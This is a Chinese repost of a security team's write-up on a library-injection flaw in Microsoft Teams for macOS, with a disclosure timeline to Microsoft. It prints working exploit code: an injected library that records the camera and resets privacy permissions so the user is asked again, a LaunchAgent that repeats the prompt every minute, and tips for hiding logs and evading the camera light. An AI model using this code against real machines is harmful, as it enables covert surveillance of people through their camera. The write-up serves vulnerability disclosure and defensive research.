紫队行动期间利用 macOS 的一个 Microsoft Teams漏洞

2024-10-10 00:29:04 0 226 1

以下文章解释了在紫队参与期间我们如何能够识别 macOS 上 Microsoft Teams 中的漏洞,从而允许我们访问用户的摄像头和麦克风。

紫队的操作背景
作为紫队的一员,我们设法在运行 macOS 的计算机上获得远程访问权限(以用户身份)。除了设法入侵计算机之外,我们还想实施对客户产生明显影响的示例。因此,我们一直在考虑是否要窃听计算机或检索其视频流。由于Microsoft Teams默认安装在所有 macOS 计算机上(由客户端安装),因此我们将注意力转向了应用程序的安全性。我们应用了静态和动态分析程序,这有助于我们识别漏洞。一旦利用该漏洞,攻击者就可以捕获计算机的视频和声音流。

为了模拟攻击者在受感染的机器内部进行分析,我们仅使用了机器上现有的工具。测试是在 macOS 版本 14.4(Sonoma)上进行的。

如果您想在其他 macOS 版本上利用这些漏洞,请考虑这些信息。


我们客户工作站上的Microsoft Teams版本比最新版本旧,但该应用程序的最新版本(撰写本文时为版本 24152.405.2925.6762)也存在漏洞,我们将在下面向您展示。


设置
在开始分析之前,先下载最新版本的Microsoft Teams。





然后安装.pkg文件。







安装后,你可能会注意到一个应用程序(Microsoft AutoUpdate)已添加到用户的登录过程中。



还可以观察到Microsoft Teams现在可以访问麦克风。


侦察
Microsoft Teams.app包安装在/Applications目录中,默认情况下,组中的用户可以在该目录中进行读写admin。

ls从目录/Applications执行命令


ls -al从目录/Applications执行命令(截断结果)


执行命令id
可以轻松识别包(Microsoft Teams )内二进制vcxpc的存在。



我们还注意到,macOS Hardened Runtime 已针对此二进制文件正确设置。因此,不可能执行 .dylib劫持。

强化运行时与系统完整性保护 (SIP) 一起,通过防止某些类别的漏洞(如代码注入、动态链接库 (DLL) 劫持和进程内存空间篡改)来保护软件的运行时完整性。-链接


然而,通过探索应用程序(vcxpc)的权限,我们发现权限“禁用库验证权限(密钥:com.apple.security.cs.disable-library-validation,类型:)Boolean”被设置为True。这意味着加载过程没有检查正在加载的库的签名。
一个布尔值,指示应用程序是否加载任意插件或框架,而无需代码签名。 -链接


静态分析
然后我们探索了如何注入恶意库。



通过对库加载命令()感兴趣LC_LOAD_DYLIB,我们意识到库是相对于的值加载的rpath。
当您想要使用相对于可执行文件的位置(某些特殊的“@”路径就是为此而设)时,有许多不同的选择:
@executable_path
@loader_path
@rpath
@rpath相当于在LC_RPATH 命令引用的所有目录中进行搜索。


查看了该命令的所有定义后LC_RPATH,发现它是相对于二进制文件vcxpc的路径定义的,并且有一个到目录/Applications 的路径遍历。

动态分析
在这种情况下,动态分析非常简单,我们所要做的就是运行二进制文件。


该恶意库的代码如下。
文件:inject.m
#import <Foundation/Foundation.h>

__attribute__((constructor))
void inject(int argc, const char **argv) {
    NSLog(@"[+] Library (.dylib) injected!");
}
我们可以使用以下命令进行编译。
gcc -framework Foundation -dynamiclib inject.m -o inject.dylib
一旦复制到正确的位置(/Applications),该库就会由二进制文件加载(当 执行vcxpc时),并且该库的构造函数也会正确执行。


有趣的是,在进一步探索了 Microsoft Teams 软件包之后,我们意识到预期的库(libskypert.dylib)可能在错误的位置。


概念验证的开发
为了开发针对该漏洞的概念验证漏洞利用程序,我们重用并改编了Dan Revah已经完成的出色工作(CVE-2023-26818 - 在 macOS 中使用 Telegram 绕过 TCC)。

文件:camera.m
#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>

@interface VideoRecorder : NSObject <AVCaptureFileOutputRecordingDelegate>

@property (strong, nonatomic) AVCaptureSession *captureSession;
@property (strong, nonatomic) AVCaptureDeviceInput *videoDeviceInput;
@property (strong, nonatomic) AVCaptureMovieFileOutput *movieFileOutput;

- (void)startRecording;
- (void)stopRecording;

@end

@implementation VideoRecorder

- (instancetype)init {
    self = [super init];
    if (self) {
        [self setupCaptureSession];
    }
    return self;
}

- (void)setupCaptureSession {
    self.captureSession = [[AVCaptureSession alloc] init];
    self.captureSession.sessionPreset = AVCaptureSessionPresetHigh;

    AVCaptureDevice *videoDevice = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeVideo];
    NSError *error;
    self.videoDeviceInput = [[AVCaptureDeviceInput alloc] initWithDevice:videoDevice error:&error];

    if (error) {
        NSLog(@"[x] Error setting up video device input: %@", [error localizedDescription]);
        return;
    }

    if ([self.captureSession canAddInput:self.videoDeviceInput]) {
        [self.captureSession addInput:self.videoDeviceInput];
    }

    self.movieFileOutput = [[AVCaptureMovieFileOutput alloc] init];

    if ([self.captureSession canAddOutput:self.movieFileOutput]) {
        [self.captureSession addOutput:self.movieFileOutput];
    }
}

- (void)startRecording {
    [self.captureSession startRunning];
    NSTimeInterval timeStamp = [[NSDate date] timeIntervalSince1970];
    NSInteger intTimeStamp = round(timeStamp);
    NSString *outputFilename = [NSString stringWithFormat:@"recording_%ld.mov", intTimeStamp];
    NSString *outputFilePath = [NSTemporaryDirectory() stringByAppendingPathComponent:outputFilename];
    NSURL *outputFileURL = [NSURL fileURLWithPath:outputFilePath];
    [self.movieFileOutput startRecordingToOutputFileURL:outputFileURL recordingDelegate:self];
    NSLog(@"[*] Recording started.");
}

- (void)stopRecording {
    [self.movieFileOutput stopRecording];
    [self.captureSession stopRunning];
    NSLog(@"[*] Recording stopped.");
}

- (void)captureOutput:(AVCaptureFileOutput *)captureOutput
didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL
      fromConnections:(NSArray<AVCaptureConnection *> *)connections
                error:(NSError *)error {
    if (error) {
        NSLog(@"[x] Recording failed: %@", [error localizedDescription]);
    } else {
        NSLog(@"[+] Recording finished successfully. (Saved to %@)", outputFileURL.path);
    }
}

@end

__attribute__((constructor))
static void telegram(int argc, const char **argv) {
    __block int record_condition = 0;
    __block int reset_condition = 0;

    NSLog(@"[*] Check permission to access the camera and microphone ...");
    switch ([AVCaptureDevice authorizationStatusForMediaType:AVMediaTypeVideo])
    {
        case AVAuthorizationStatusAuthorized:
        {
            NSLog(@"[+] The user has previously granted access to the camera.");
            record_condition = 1;
            break;
        }
        case AVAuthorizationStatusNotDetermined:
        {
            NSLog(@"[*] The app hasn't yet asked the user for camera access.");
            [AVCaptureDevice requestAccessForMediaType:AVMediaTypeVideo completionHandler:^(BOOL granted) {
                if (granted)
                {
                    NSLog(@"[+] Access granted by the user.");
                    record_condition = 1;
                }
                else
                {
                    NSLog(@"[x] Access refused by the user.");
                    reset_condition = 1;
                }
            }];
            break;
        }
        case AVAuthorizationStatusDenied:
        {
            NSLog(@"[!] The user has previously denied access.");
            reset_condition = 1;
            break;

        }
        case AVAuthorizationStatusRestricted:
        {
            NSLog(@"[x] The user can't grant access due to restrictions.");
            reset_condition = 1;
            break;
        }
    }

    [NSThread sleepForTimeInterval:5];

    if (reset_condition)
    {
        NSLog(@"[*] Resetting the previous choice ...");
        NSTask *task = [[NSTask alloc] init];
        task.launchPath = @"/usr/bin/tccutil";
        task.arguments = @[@"reset", @"Camera"];
        [task launch];
        reset_condition = 0;
    }

    [NSThread sleepForTimeInterval:5];

    if (record_condition)
    {
        VideoRecorder *videoRecorder = [[VideoRecorder alloc] init];

        [videoRecorder startRecording];
        [NSThread sleepForTimeInterval:3.0];
        [videoRecorder stopRecording];
    }

    [[NSRunLoop currentRunLoop] runUntilDate:[NSDate dateWithTimeIntervalSinceNow:5.0]];
}
我们可以使用以下命令进行编译。
gcc -dynamiclib -framework Foundation -framework AVFoundation camera.m -o /Applications/libskypert.dylib
剩下要做的就是创建文件~/Library/LaunchAgents/com.poc.launcher.plist。

文件:~/Library/LaunchAgents/com.poc.launcher.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
       <key>Label</key>
        <string>com.poc.launcher</string>
        <key>RunAtLoad</key>
        <true/>
        <key>ProgramArguments</key>
        <array>
        <string>/Applications/Microsoft Teams.app/Contents/XPCServices/vcxpc.xpc/Contents/MacOS/vcxpc</string>
        </array>
        <key>StartInterval</key>
        <integer>60</integer>
        <key>StandardOutPath</key>
        <string>/tmp/poc.log</string>
        <key>StandardErrorPath</key>
        <string>/tmp/poc.log</string>
</dict>
</plist>
当创建.plist文件时,会向用户显示一条通知,但用户可能会被该应用程序来自“Microsoft Corporation”的事实所欺骗。


如果攻击者不想等待 macOS 重新启动来启动他的服务,他可以强制加载它。
launchctl load ~/Library/LaunchAgents/com.poc.launcher.plist

然后,他可以查阅与他的服务相关的日志,查看视频的存储位置,然后将其提取出来。


有趣的是,如果用户拒绝授予对“ Microsoft Teams.app ”应用程序的访问权限(即使它实际上是正在执行的 vcxpc二进制文件,但它似乎是一个合法的应用程序 ),则与库配对的.plist会执行某种 MFA 疲劳,并每 60 秒向用户请求一次访问权限,直到授予权限为止。获得权限后,将不再请求访问,并且记录将自动进行。攻击者所要做的就是定期窃取各种记录。

结论
更进一步,也许我们可以使用额外的技巧来防止我们的日志被粗心的用户读取。我们可能能够将日志内容存储到扩展属性中,方法com.apple.ResourceFork 是将其保存到<FILE>/..namedfork/rsrc (分别为/tmp/poc.log/..namedfork/rsrc)。

这个技巧可以被看作是一个让你在 macOS 的 ADS(备用数据流)中隐藏数据的技巧。

此外,我们还可以仅在用户实际使用Microsoft Teams 应用程序时触发摄像头录制,这样通知用户摄像头处于活动状态的 LED(屏幕上部的绿灯)就不会引起任何怀疑。

无论如何,这次任务非常有趣,让我们有机会在最近的 macOS 应用程序上试验一些旧的开发技术。

披露时间表
2024/07/23 – 向 Microsoft 安全响应中心 (MSRC) 报告漏洞。
2024/07/30——自动确认漏洞。
2024/08/21-MSRC 确认他们重现了该漏洞。
2024/08/21 - MSRC 表示漏洞已修复。表示微软通常不会公开承认严重程度为低/中等的漏洞的发现者,但决定在这种情况下破例,因为该漏洞得到了快速跟踪和修复。
2024/08/21 - Quarkslab 漏洞报告团队 (QVRT) 询问是否发布了修复程序。要求 CVE 识别漏洞并提供相应安全公告的链接。
2024/08/21 -MSRC 回复称该案件结案过早,且该漏洞不会被分配 CVE。
2024/08/22 – QVRT 向 MSRC 询问修复程序是否已发布,并提供相应安全公告或 KB 文章的链接。
2024/09/13 - QVRT 要求更新,表示 Quarkslab 计划发布该漏洞的技术细节,并要求提供有关修复的官方声明以及补丁或安全公告的链接。
2024/09/17 - MSRC 写道,针对 QVRT 提交的漏洞“已报告修复”,并询问 QVRT 是否愿意分享即将发布的草案。
2024/09/17 - QVRT 询问是否已发布修复程序并提供相应安全公告或知识库文章的链接。表示这些问题自 8 月以来一直未得到解答。
2024/10/08- 博文发布。

关于作者

莫云卿9篇文章50篇回复

评论0次

要评论?请先  登录  或  注册